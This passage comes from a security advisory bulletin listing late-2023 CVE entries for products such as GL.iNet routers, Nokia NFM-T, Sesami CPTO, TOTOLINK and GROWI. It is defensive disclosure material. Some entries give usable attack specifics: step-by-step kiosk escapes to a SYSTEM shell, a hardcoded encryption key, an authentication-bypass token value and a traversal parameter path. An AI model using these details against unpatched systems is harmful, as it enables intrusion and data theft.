gl.inet — multiple_productsShell Injection vulnerability GL.iNet A1300 v4.4.6, AX1800 v4.4.6, AXT1800 v4.4.6, MT3000 v4.4.6, MT2500 v4.4.6, MT6000 v4.5.0, MT1300 v4.3.7, MT300N-V2 v4.3.7, AR750S v4.3.7, AR750 v4.3.7, AR300M v4.3.7, and B1300 v4.3.7., allows local attackers to execute arbitrary code via the get_system_log and get_crash_log functions of the logread module, as well as the upgrade_online function of the upgrade module.2023-12-28not yet calculatedCVE-2023-50445
[email protected]
grupo_embras — geosiap_erpGrupo Embras GEOSIAP ERP v2.2.167.02 was discovered to contain a SQL injection vulnerability via the codLogin parameter on the login page.2023-12-30not yet calculatedCVE-2023-50589
[email protected]
[email protected]
[email protected]
hutool-core — hutool-corehutool-core v5.8.23 was discovered to contain an infinite loop in the StrSplitter.splitByRegex function. This vulnerability allows attackers to cause a Denial of Service (DoS) via manipulation of the first two parameters.2023-12-27not yet calculatedCVE-2023-51075
[email protected]
hutool-core — hutool-coreThe NumberUtil.toBigDecimal method in hutool-core v5.8.23 was discovered to contain a stack overflow.2023-12-27not yet calculatedCVE-2023-51080
[email protected]
hyavijava — hyavijavahyavijava v6.0.07.1 was discovered to contain a stack overflow via the ResultConverter.convert2Xml method.2023-12-27not yet calculatedCVE-2023-51084
[email protected]
idurar-erp-crm — idurar-erp-crmIDURAR (aka idurar-erp-crm) through 2.0.1 allows stored XSS via a PATCH request with a crafted JSON email template in the /api/email/update data.2023-12-30not yet calculatedCVE-2023-52265
[email protected]
[email protected]
ilias_e-learning — ilias_e-learningThe workflow-engine of ILIAS before 7.23 and 8 before 8.3 allows remote authenticated users to run arbitrary system commands on the application server as the application user via a malicious BPMN2 workflow definition file.2023-12-25not yet calculatedCVE-2023-36485
[email protected]
[email protected]
[email protected]
ilias_e-learning — ilias_e-learningThe workflow-engine of ILIAS before 7.23 and 8 before 8.3 allows remote authenticated users to run arbitrary system commands on the application server as the application user by uploading a workflow definition file with a malicious filename.2023-12-25not yet calculatedCVE-2023-36486
[email protected]
[email protected]
[email protected]
indi_browser/kvbrowser — indi_browser/kvbrowserAn issue in Indi Browser (aka kvbrowser) v.12.11.23 allows an attacker to bypass intended access restrictions via interaction with the com.example.gurry.kvbrowswer.webview component.2023-12-27not yet calculatedCVE-2023-49001
[email protected]
[email protected]
ipaddressbitsdivision — ipaddressbitsdivisionAn issue in the component IPAddressBitsDivision of IPAddress v5.1.0 leads to an infinite loop.2023-12-29not yet calculatedCVE-2023-50570
[email protected]
jamf_pro_server — jamf_pro_serverThere is broken access control during authentication in Jamf Pro Server before 10.46.1.2023-12-25not yet calculatedCVE-2023-31224
[email protected]
jeecgboot — jeecgbootSQL injection vulnerability in jeecg-boot version 3.5.3, allows remote attackers to escalate privileges and obtain sensitive information via the jmreport/qurestSql component.2023-12-30not yet calculatedCVE-2023-41542
[email protected]
jeecgboot — jeecgbootSQL injection vulnerability in jeecg-boot v3.5.3, allows remote attackers to escalate privileges and obtain sensitive information via the component /sys/replicate/check.2023-12-30not yet calculatedCVE-2023-41543
[email protected]
[email protected]
jeecgboot — jeecgbootSSTI injection vulnerability in jeecg-boot version 3.5.3, allows remote attackers to execute arbitrary code via crafted HTTP request to the /jmreport/loadTableData component.2023-12-30not yet calculatedCVE-2023-41544
[email protected]
jizhicms — jizhicmsFile Upload vulnerability in JIZHICMS v.2.5, allows remote attacker to execute arbitrary code via a crafted file uploaded and downloaded to the download_url parameter in the app/admin/exts/ directory.2023-12-28not yet calculatedCVE-2023-50692
[email protected]
jline-groovy — jline-groovyAn issue in the component GroovyEngine.execute of jline-groovy v3.24.1 allows attackers to cause an OOM (OutofMemory) error.2023-12-29not yet calculatedCVE-2023-50572
[email protected]
json-path — json-pathjson-path v2.8.0 was discovered to contain a stack overflow via the Criteria.parse() method.2023-12-27not yet calculatedCVE-2023-51074
[email protected]
kami_vision — yi_iotThe Kami Vision YI IoT com.yunyi.smartcamera application through 4.1.9_20231127 for Android allows a remote attacker to execute arbitrary JavaScript code via an implicit intent to the com.ants360.yicamera.activity.WebViewActivity component.2023-12-27not yet calculatedCVE-2023-47882
[email protected]
[email protected]
kantega_sso — kantega_samlThe Kantega SAML SSO OIDC Kerberos Single Sign-on apps before 6.20.0 for Atlassian products allow XSS if SAML POST Binding is enabled. This affects 4.4.2 through 4.14.8 before 4.14.9, 5.0.0 through 5.11.4 before 5.11.5, and 6.0.0 through 6.19.0 before 6.20.0. The full product names are Kantega SAML SSO OIDC Kerberos Single Sign-on for Jira Data Center & Server (Kantega SSO Enterprise), Kantega SAML SSO OIDC Kerberos Single Sign-on for Confluence Data Center & Server (Kantega SSO Enterprise), Kantega SAML SSO OIDC Kerberos Single Sign-on for Bitbucket Data Center & Server (Kantega SSO Enterprise), Kantega SAML SSO OIDC Kerberos Single Sign-on for Bamboo Data Center & Server (Kantega SSO Enterprise), and Kantega SAML SSO OIDC Kerberos Single Sign-on for FeCru Server (Kantega SSO Enterprise). (Here, FeCru refers to the Atlassian Fisheye and Crucible products running together.)2023-12-29not yet calculatedCVE-2023-52240
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
layui — layuilayui up to v2.74 was discovered to contain a cross-site scripting (XSS) vulnerability via the data-content parameter.2023-12-30not yet calculatedCVE-2023-50550
[email protected]
little_backup_box — little_backup_boxoutdoorbits little-backup-box (aka Little Backup Box) before f39f91c allows remote attackers to execute arbitrary code because the PHP extract function is used for untrusted input.2023-12-30not yet calculatedCVE-2023-52262
[email protected]
[email protected]
logobee — logobeeLogoBee 0.2 allows updates.php?id= XSS.2023-12-30not yet calculatedCVE-2023-52257
[email protected]
microhttpserver — microhttpserverIn MicroHttpServer (aka Micro HTTP Server) through a8ab029, _ParseHeader in lib/server.c allows a one-byte recv buffer overflow via a long URI.2023-12-25not yet calculatedCVE-2023-51771
[email protected]
[email protected]
mingsoft — mcms
 
Mingsoft MCMS v5.2.9 was discovered to contain a SQL injection vulnerability via the categoryType parameter at /content/list.do.2023-12-30not yet calculatedCVE-2023-50578
[email protected]
multiple_vendors — multiple_productsMatrix SSL 4.x through 4.6.0 and Rambus TLS Toolkit have a length-subtraction integer overflow for Client Hello Pre-Shared Key extension parsing in the TLS 1.3 server. An attacked device calculates an SHA-2 hash over at least 65 KB (in RAM). With a large number of crafted TLS messages, the CPU becomes heavily loaded. This occurs in tls13VerifyBinder and tls13TranscriptHashUpdate.2023-12-22not yet calculatedCVE-2023-24609
[email protected]
[email protected]
mupdf — mupdfA floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in functon fz_new_pixmap_from_float_data() of pixmap.c.2023-12-26not yet calculatedCVE-2023-51103
[email protected]
mupdf — mupdfA floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in functon pnm_binary_read_image() of load-pnm.c line 527.2023-12-26not yet calculatedCVE-2023-51104
[email protected]
mupdf — mupdfA floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in function bmp_decompress_rle4() of load-bmp.c.2023-12-26not yet calculatedCVE-2023-51105
[email protected]
mupdf — mupdfA floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in functon pnm_binary_read_image() of load-pnm.c.2023-12-26not yet calculatedCVE-2023-51106
[email protected]
mupdf — mupdfA floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in functon compute_color() of jquant2.c.2023-12-26not yet calculatedCVE-2023-51107
[email protected]
mupnp_for_c — mupnp_for_cmupnp/net/uri.c in mUPnP for C through 3.0.2 has an out-of-bounds read and application crash because it lacks a certain host length recalculation.2023-12-28not yet calculatedCVE-2023-52152
[email protected]
mvel2 — mvel2A TimeOut error exists in the ParseTools.subCompileExpression method in mvel2 v2.5.0 Final.2023-12-27not yet calculatedCVE-2023-51079
[email protected]
ncp_engineering_inc. — secure_enterprise_clientSupport Assistant in NCP Secure Enterprise Client before 13.10 allows attackers to execute DLL files with SYSTEM privileges by creating a symbolic link from a %LOCALAPPDATA%\Temp\NcpSupport* location.2023-12-25not yet calculatedCVE-2023-28872
[email protected]
nokia — nfm-t_r19.9In NOKIA NFM-T R19.9, an OS Command Injection vulnerability occurs in /cgi-bin/R19.9/log.pl of the VM Manager WebUI via the cmd HTTP GET parameter. This allows authenticated users to execute commands, with root privileges, on the operating system.2023-12-25not yet calculatedCVE-2022-39818
[email protected]
nokia — nfm-t_r19.9In Network Element Manager in NOKIA NFM-T R19.9, an Unprotected Storage of Credentials vulnerability occurs under /root/RestUploadManager.xml.DRC and /DEPOT/KECustom_199/OTNE_DRC/RestUploadManager.xml. A remote user, authenticated to the operating system, with access privileges to the directory /root or /DEPOT, is able to read cleartext credentials to access the web portal NFM-T and control all the PPS Network elements.2023-12-25not yet calculatedCVE-2022-39820
[email protected]
nokia — nfm-t_r19.9In NOKIA NFM-T R19.9, a SQL Injection vulnerability occurs in /cgi-bin/R19.9/easy1350.pl of the VM Manager WebUI via the id or host HTTP GET parameter. An authenticated attacker is required for exploitation.2023-12-25not yet calculatedCVE-2022-39822
[email protected]
nokia — nfm-t_r19.9An issue was discovered in NOKIA NFM-T R19.9. Relative Path Traversal can occur under /oms1350/data/cpb/log of the Network Element Manager via the filename parameter, allowing a remote authenticated attacker to read arbitrary files.2023-12-25not yet calculatedCVE-2022-41760
[email protected]
nokia — nfm-t_r19.9An issue was discovered in NOKIA NFM-T R19.9. An Absolute Path Traversal vulnerability exists under /cgi-bin/R19.9/viewlog.pl of the VM Manager WebUI via the logfile parameter, allowing a remote authenticated attacker to read arbitrary files.2023-12-25not yet calculatedCVE-2022-41761
[email protected]
nokia — nfm-t_r19.9An issue was discovered in NOKIA NFM-T R19.9. Multiple Reflected XSS vulnerabilities exist in the Network Element Manager via any parameter to log.pl, the bench or pid parameter to top.pl, or the id parameter to easy1350.pl.2023-12-25not yet calculatedCVE-2022-41762
[email protected]
nokia — nfm-t_r19.9An issue was discovered in NOKIA NFM-T R19.9. Reflected XSS in the Network Element Manager exists via /oms1350/pages/otn/cpbLogDisplay via the filename parameter, under /oms1350/pages/otn/connection/E2ERoutingDisplayWithOverLay via the id parameter, and under /oms1350/pages/otn/mainOtn via all parameters.2023-12-25not yet calculatedCVE-2022-43675
[email protected]
ocpp-jaxb — ocpp-jaxbSteVe Community ocpp-jaxb before 0.0.8 generates invalid timestamps such as ones with month 00 in certain situations (such as when an application receives a StartTransaction Open Charge Point Protocol message with a timestamp parameter of 1000000). This may lead to a SQL exception in applications and may undermine the integrity of transaction records.2023-12-26not yet calculatedCVE-2023-52096
[email protected]
[email protected]
[email protected]
one_identity — password_managerOne Identity Password Manager before 5.13.1 allows Kiosk Escape. This product enables users to reset their Active Directory passwords on the login screen of a Windows client. It launches a Chromium based browser in Kiosk mode to provide the reset functionality. The escape sequence is: go to the Google ReCAPTCHA section, click on the Privacy link, observe that there is a new browser window, navigate to any website that offers file upload, navigate to cmd.exe from the file explorer window, and launch cmd.exe as NT AUTHORITY\SYSTEM.2023-12-25not yet calculatedCVE-2023-48654
[email protected]
[email protected]
one_identity — password_managerOne Identity Password Manager before 5.13.1 allows Kiosk Escape. This product enables users to reset their Active Directory passwords on the login screen of a Windows client. It launches a Chromium based browser in Kiosk mode to provide the reset functionality. The escape sequence is: wait for a session timeout, click on the Help icon, observe that there is a browser window for the One Identity website, navigate to any website that offers file upload, navigate to cmd.exe from the file explorer window, and launch cmd.exe as NT AUTHORITY\SYSTEM.2023-12-25not yet calculatedCVE-2023-51772
[email protected]
[email protected]
opencrx — opencrxopenCRX 5.2.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Name field after creation of a Tracker in Manage Activity.2023-12-26not yet calculatedCVE-2023-27150
[email protected]
[email protected]
opennds — openndsOpenNDS, as used in Sierra Wireless ALEOS before 4.17.0.12 and other products, allows remote attackers to cause a denial of service (NULL pointer dereference, daemon crash, and Captive Portal outage) via a GET request to /opennds_auth/ that lacks a custom query string parameter and client-token.2023-12-25not yet calculatedCVE-2023-38321
[email protected]
[email protected]
[email protected]
openssh — opensshOpenSSH through 9.6, when common types of DRAM are used, might allow row hammer attacks (for authentication bypass) because the integer value of authenticated in mm_answer_authpassword does not resist flips of a single bit. NOTE: this is applicable to a certain threat model of attacker-victim co-location in which the attacker has user privileges.2023-12-24not yet calculatedCVE-2023-51767
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
passwork — passworkPasswork before 6.2.0 allows remote authenticated users to bypass 2FA by sending all one million of the possible 6-digit codes.2023-12-26not yet calculatedCVE-2023-49949
[email protected]
[email protected]
peplink — balance_twoAn issue was discovered in Peplink Balance Two before 8.4.0. Command injection in the traceroute feature of the administration console allows users with admin privileges to execute arbitrary commands as root.2023-12-25not yet calculatedCVE-2023-49226
[email protected]
[email protected]
peplink — balance_twoAn issue was discovered in Peplink Balance Two before 8.4.0. Console port authentication uses hard-coded credentials, which allows an attacker with physical access and sufficient knowledge to execute arbitrary commands as root.2023-12-28not yet calculatedCVE-2023-49228
[email protected]
[email protected]
peplink — balance_twoAn issue was discovered in Peplink Balance Two before 8.4.0. A missing authorization check in the administration web service allows read-only unprivileged users to obtain sensitive information about the device configuration.2023-12-28not yet calculatedCVE-2023-49229
[email protected]
[email protected]
peplink — balance_twoAn issue was discovered in Peplink Balance Two before 8.4.0. A missing authorization check in captive portals allows attackers to modify the portals’ configurations without prior authentication.2023-12-28not yet calculatedCVE-2023-49230
[email protected]
[email protected]
perl_spreadsheet::parseexcel — perl_spreadsheet::parseexcelSpreadsheet::ParseExcel version 0.65 is a Perl module used for parsing Excel files. Spreadsheet::ParseExcel is vulnerable to an arbitrary code execution (ACE) vulnerability due to passing unvalidated input from a file into a string-type “eval”. Specifically, the issue stems from the evaluation of Number format strings (not to be confused with printf-style format strings) within the Excel parsing logic.2023-12-24not yet calculatedCVE-2023-7101
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
phpgurukul — small_crm
 
PHPGurukul Small CRM 3.0 is vulnerable to SQL Injection on the Users login panel because of “password” parameter is directly used in the SQL query without any sanitization and the SQL Injection payload being executed.2023-12-29not yet calculatedCVE-2023-50035
[email protected]
postfix — postfixPostfix through 3.8.4 allows SMTP smuggling unless configured with smtpd_data_restrictions=reject_unauth_pipelining and smtpd_discard_ehlo_keywords=chunking (or certain other options that exist in recent versions). Remote attackers can use a published exploitation technique to inject e-mail messages with a spoofed MAIL FROM address, allowing bypass of an SPF protection mechanism. This occurs because Postfix supports <LF>.<CR><LF> but some other popular e-mail servers do not. To prevent attack variants (by always disallowing <LF> without <CR>), a different solution is required: the smtpd_forbid_bare_newline=yes option with a Postfix minimum version of 3.5.23, 3.6.13, 3.7.9, 3.8.4, or 3.9.2023-12-24not yet calculatedCVE-2023-51764
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
prestashop — prestashopSQL Injection vulnerability in the Innovadeluxe Quick Order module for PrestaShop before v.1.4.0, allows local attackers to execute arbitrary code via the getProducts() function in the productlist.php file.2023-12-28not yet calculatedCVE-2023-46989
[email protected]
proftpd — proftpdmake_ftp_cmd in main.c in ProFTPD before 1.3.8a has a one-byte out-of-bounds read, and daemon crash, because of mishandling of quote/backslash semantics.2023-12-22not yet calculatedCVE-2023-51713
[email protected]
[email protected]
[email protected]
qt — qtAn issue was discovered in the HTTP2 implementation in Qt before 5.15.17, 6.x before 6.2.11, 6.3.x through 6.5.x before 6.5.4, and 6.6.x before 6.6.2. network/access/http2/hpacktable.cpp has an incorrect HPack integer overflow check.2023-12-24not yet calculatedCVE-2023-51714
[email protected]
[email protected]
resumable_js — resumable_jsresumable.php (aka PHP backend for resumable.js) 0.1.4 before 3c6dbf5 allows arbitrary file upload anywhere in the filesystem via ../ in multipart/form-data content to upload.php. (File overwrite hasn’t been possible with the code available in GitHub in recent years, however.)2023-12-26not yet calculatedCVE-2023-52086
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
ruby_on_rails — ruby_on_railsIn ActiveAdmin (aka Active Admin) before 2.12.0, a concurrency issue allows a malicious actor to access potentially private data (that belongs to another user) by making CSV export requests at certain specific times.2023-12-28not yet calculatedCVE-2023-50448
[email protected]
[email protected]
ruby_on_rails — ruby_on_railscsv_builder.rb in ActiveAdmin (aka Active Admin) before 3.2.0 allows CSV injection.2023-12-24not yet calculatedCVE-2023-51763
[email protected]
[email protected]
[email protected]
rws — worldserverAn issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.2023-12-25not yet calculatedCVE-2022-34267
[email protected]
[email protected]
rws — worldserverAn issue was discovered in RWS WorldServer before 11.7.3. /clientLogin deserializes Java objects without authentication, leading to command execution on the host.2023-12-25not yet calculatedCVE-2022-34268
[email protected]
[email protected]
scone — sconeA lack of pointer-validation logic in the __scone_dispatch component of SCONE before v5.8.0 for Intel SGX allows attackers to access sensitive information.2023-12-30not yet calculatedCVE-2022-46486
[email protected]
[email protected]
[email protected]
scone — sconeImproper initialization of x87 and SSE floating-point configuration registers in the __scone_entry component of SCONE before 5.8.0 for Intel SGX allows a local attacker to compromise the execution integrity of floating-point operations in an enclave or access sensitive information via side-channel analysis.2023-12-30not yet calculatedCVE-2022-46487
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
scone — sconeAn issue was discovered in SCONE Confidential Computing Platform before 5.8.0 for Intel SGX. Lack of pointer-alignment logic in __scone_dispatch and other entry functions allows a local attacker to access unauthorized information, aka an “AEPIC Leak.”2023-12-30not yet calculatedCVE-2023-38023
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
seacms — seacmsSeaCMS v12.9 was discovered to contain a remote code execution (RCE) vulnerability via the component /augap/adminip.php.2023-12-28not yet calculatedCVE-2023-46987
[email protected]
[email protected]
[email protected]
seacms — seacmsA cross-site scripting (XSS) vulnerability in the component admin_ Video.php of SeaCMS v12.8 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.2023-12-28not yet calculatedCVE-2023-50470
[email protected]
[email protected]
[email protected]
sendmail — sendmailsendmail through at least 8.14.7 allows SMTP smuggling in certain configurations. Remote attackers can use a published exploitation technique to inject e-mail messages with a spoofed MAIL FROM address, allowing bypass of an SPF protection mechanism. This occurs because sendmail supports <LF>.<CR><LF> but some other popular e-mail servers do not.2023-12-24not yet calculatedCVE-2023-51765
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
sesami_io — sesami_ioAn issue was discovered in Sesami Cash Point & Transport Optimizer (CPTO) 6.3.8.6 (#718), allows local attackers to obtain sensitive information and bypass authentication via “Back Button Refresh” attack.2023-12-29not yet calculatedCVE-2023-31292
[email protected]
sesami_io — sesami_ioAn issue was discovered in Sesami Cash Point & Transport Optimizer (CPTO) 6.3.8.6 (#718), allows remote attackers to obtain sensitive information and bypass profile restriction via improper access control in the Reader system user’s web browser, allowing the journal to be displayed, despite the option being disabled.2023-12-29not yet calculatedCVE-2023-31293
[email protected]
sesami_io — sesami_ioCSV Injection vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to obtain sensitive information via the Delivery Name field.2023-12-29not yet calculatedCVE-2023-31294
[email protected]
sesami_io — sesami_ioCSV Injection vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to obtain sensitive information via the User Profile field.2023-12-29not yet calculatedCVE-2023-31295
[email protected]
sesami_io — sesami_ioCSV Injection vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows attackers to obtain sensitive information via the User Name field.2023-12-29not yet calculatedCVE-2023-31296
[email protected]
sesami_io — sesami_ioAn issue was discovered in SESAMI planfocus CPTO (Cash Point & Transport Optimizer) 6.3.8.6 718. There is XSS via the Name field when modifying a client.2023-12-25not yet calculatedCVE-2023-31297
[email protected]
[email protected]
sesami_io — sesami_ioCross Site Scripting (XSS) vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to execute arbitrary code and obtain sensitive information via the User ID field when creating a new system user.2023-12-29not yet calculatedCVE-2023-31298
[email protected]
sesami_io — sesami_ioCross Site Scripting (XSS) vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to execute arbitrary code via the Barcode field of a container.2023-12-29not yet calculatedCVE-2023-31299
[email protected]
sesami_io — sesami_ioAn issue was discovered in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to obtain sensitive information via transmission of unencrypted, cleartext credentials during Password Reset feature.2023-12-29not yet calculatedCVE-2023-31300
[email protected]
sesami_io — sesami_ioStored Cross Site Scripting (XSS) Vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to execute arbitrary code and obtain sensitive information via the Username field of the login form and application log.2023-12-29not yet calculatedCVE-2023-31301
[email protected]
sesami_io — sesami_ioCross Site Scripting (XSS) vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) 6.3.8.6 (#718), allows remote attackers to execute arbitrary code via the Teller field.2023-12-29not yet calculatedCVE-2023-31302
[email protected]
shaarli — shaarliReflected Cross Site Scripting (XSS) vulnerability in Shaarli v0.12.2, allows remote attackers to execute arbitrary code via search tag function.2023-12-28not yet calculatedCVE-2023-49469
[email protected]
[email protected]
shenzhen_tcl_new_technology_co.,_limited — tv_web_browserAn issue in Shenzhen TCL Browser TV Web BrowseHere (aka com.tcl.browser) 6.65.022_dab24cc6_231221_gp allows a remote attacker to execute arbitrary JavaScript code via the com.tcl.browser.portal.browse.activity.BrowsePageActivity component.2023-12-27not yet calculatedCVE-2023-43481
[email protected]
simple_http_server/simple_http_server_plus — simple_http_server/simple_http_server_plusPhlox com.phlox.simpleserver (aka Simple HTTP Server) 1.8 and com.phlox.simpleserver.plus (aka Simple HTTP Server PLUS) 1.8.1-plus have a hardcoded aKySWb2jjrr4dzkYXczKRt7K encryption key. The threat is from a man-in-the-middle attacker who can intercept and potentially modify data during transmission.2023-12-27not yet calculatedCVE-2023-46919
[email protected]
simple_http_server_plus — simple_http_server_plusPhlox com.phlox.simpleserver.plus (aka Simple HTTP Server PLUS) 1.8.1-plus has an Android manifest file that contains an entry with the android:allowBackup attribute set to true. This could be leveraged by an attacker with physical access to the device.2023-12-27not yet calculatedCVE-2023-46918
[email protected]
simplemobiletools — simple_dialerAn issue in simplemobiletools Simple Dialer 5.18.1 allows an attacker to bypass intended access restrictions via interaction with com.simplemobiletools.dialer.activities.DialerActivity.2023-12-27not yet calculatedCVE-2023-49003
[email protected]
[email protected]
sourcecodester — customer_support_systemSourcecodester Customer Support System 1.0 has multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_ticket via department_id, customer_id, and subject.2023-12-29not yet calculatedCVE-2023-50070
[email protected]
[email protected]
sourcecodester — customer_support_systemSourcecodester Customer Support System 1.0 has multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_department via id or name.2023-12-29not yet calculatedCVE-2023-50071
[email protected]
[email protected]
stormshield_network_security — stormshield_network_securityAn issue was discovered in Stormshield Network Security (SNS) before 4.3.17, 4.4.x through 4.6.x before 4.6.4, and 4.7.x before 4.7.1. It affects user accounts for which the password has an equals sign or space character. The serverd process logs such passwords in cleartext, and potentially sends these logs to the Syslog component.2023-12-26not yet calculatedCVE-2023-28616
[email protected]
stormshield_network_security — stormshield_network_securityAn issue was discovered in Stormshield Network Security (SNS) SNS 4.3.13 through 4.3.22 before 4.3.23, SNS 4.6.0 through 4.6.9 before 4.6.10, and SNS 4.7.0 through 4.7.1 before 4.7.2. An attacker can overflow the cookie threshold, making an IPsec connection impossible.2023-12-25not yet calculatedCVE-2023-47091
[email protected]
[email protected]
sudo — sudoSudo before 1.9.15 might allow row hammer attacks (for authentication bypass or privilege escalation) because application logic sometimes is based on not equaling an error value (instead of equaling a success value), and because the values do not resist flips of a single bit.2023-12-22not yet calculatedCVE-2023-42465
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
sysaid_on-premise — sysaid_on-premiseIn SysAid On-Premise before 23.3.34, there is an edge case in which an end user is able to delete a Knowledge Base article, aka bug 15102.2023-12-25not yet calculatedCVE-2023-47247
[email protected]
testlink — testlinkTestLink through 1.9.20 allows type juggling for authentication bypass because === is not used.2023-12-30not yet calculatedCVE-2023-50110
[email protected]
textpattern_cms — textpattern_cms
 
There is an arbitrary file upload vulnerability in the background of textpattern cms v4.8.8, which leads to the loss of server permissions.2023-12-28not yet calculatedCVE-2023-50038
[email protected]
[email protected]
thirty_bees — thirty_beesA stored cross-site scripting (XSS) vulnerability in the component admin/AdminRequestSqlController.php of thirty bees before 1.5.0 allows attackers to execute arbitrary web script or HTML via $e->getMessage() error mishandling.2023-12-22not yet calculatedCVE-2023-45957
[email protected]
[email protected]
[email protected]
totolink — ex1200lTOTOlink EX1200L V9.3.5u.6146_B20201023 is vulnerable to arbitrary command execution via the cstecgi.cgi UploadFirmwareFile interface.2023-12-22not yet calculatedCVE-2023-51034
[email protected]
totolink — ex1200lTOTOLINK EX1200L V9.3.5u.6146_B20201023 is vulnerable to arbitrary command execution on the cstecgi.cgi NTPSyncWithHost interface.2023-12-22not yet calculatedCVE-2023-51035
[email protected]
totolink — x2000r_ghTOTOLINK X2000R Gh v1.0.0-B20230221.0948.web was discovered to contain a stack overflow via the function formRoute.2023-12-30not yet calculatedCVE-2023-51133
[email protected]
[email protected]
totolink — x2000r_ghTOTOLINK X2000R Gh v1.0.0-B20230221.0948.web was discovered to contain a stack overflow via the function formPasswordSetup.2023-12-30not yet calculatedCVE-2023-51135
[email protected]
[email protected]
totolink — x2000r_ghTOTOLINK X2000R Gh v1.0.0-B20230221.0948.web was discovered to contain a stack overflow via the function formRebootSchedule.2023-12-30not yet calculatedCVE-2023-51136
[email protected]
[email protected]
totolink — x6000rTOTOLINK X6000R v9.4.0cu.852_B20230719 was discovered to contain a remote command execution (RCE) vulnerability via the component /cgi-bin/cstecgi.cgi.2023-12-30not yet calculatedCVE-2023-50651
[email protected]
[email protected]
tp-link — tapoIncorrect access control in TP-Link Tapo before v3.1.315 allows attackers to access user credentials in plaintext.2023-12-28not yet calculatedCVE-2023-34829
[email protected]
tv_bro_application — tv_bro_applicationThe com.phlox.tvwebbrowser TV Bro application through 2.0.0 for Android mishandles external intents through WebView. This allows attackers to execute arbitrary code, create arbitrary files. and perform arbitrary downloads via JavaScript that uses takeBlobDownloadData.2023-12-27not yet calculatedCVE-2023-43955
[email protected]
[email protected]
[email protected]
[email protected]
tv_browser_application_for_android — tv_browser_application_for_androidThe com.altamirano.fabricio.tvbrowser TV browser application through 4.5.1 for Android is vulnerable to JavaScript code execution via an explicit intent due to an exposed MainActivity.2023-12-27not yet calculatedCVE-2023-47883
[email protected]
[email protected]
[email protected]
typo3 — typo3In TYPO3 11.5.24, the filelist component allows attackers (who have access to the administrator panel) to read arbitrary files via directory traversal in the baseuri field, as demonstrated by POST /typo3/record/edit with ../../../ in data[sys_file_storage]*[data][sDEF][lDEF][basePath][vDEF].2023-12-25not yet calculatedCVE-2023-30451
[email protected]
unified_remote — unified_remoteUnified Remote 3.13.0 allows remote attackers to execute arbitrary Lua code because of a wildcarded Access-Control-Allow-Origin for the Remote upload endpoint.2023-12-30not yet calculatedCVE-2023-52252
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability exists in the presentation feature of GROWI versions prior to v3.4.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-42436
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability exists in the App Settings (/admin/app) page and the Markdown Settings (/admin/markdown) page of GROWI versions prior to v3.5.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-45737
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability when processing profile images exists in GROWI versions prior to v4.1.3. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-45740
[email protected]
[email protected]
weseek,_inc. — growiCross-site request forgery (CSRF) vulnerability exists in the User settings (/me) page of GROWI versions prior to v6.0.0. If a user views a malicious page while logging in, settings may be changed without the user’s intention.2023-12-26not yet calculatedCVE-2023-46699
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability which is exploiting a behavior of the XSS Filter exists in GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-47215
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability via the img tags exists in GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-49119
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability exists in the event handlers of the pre tags in GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-49598
[email protected]
[email protected]
weseek,_inc. — growiStored cross-site scripting vulnerability exists in the anchor tag of GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.2023-12-26not yet calculatedCVE-2023-49779
[email protected]
[email protected]
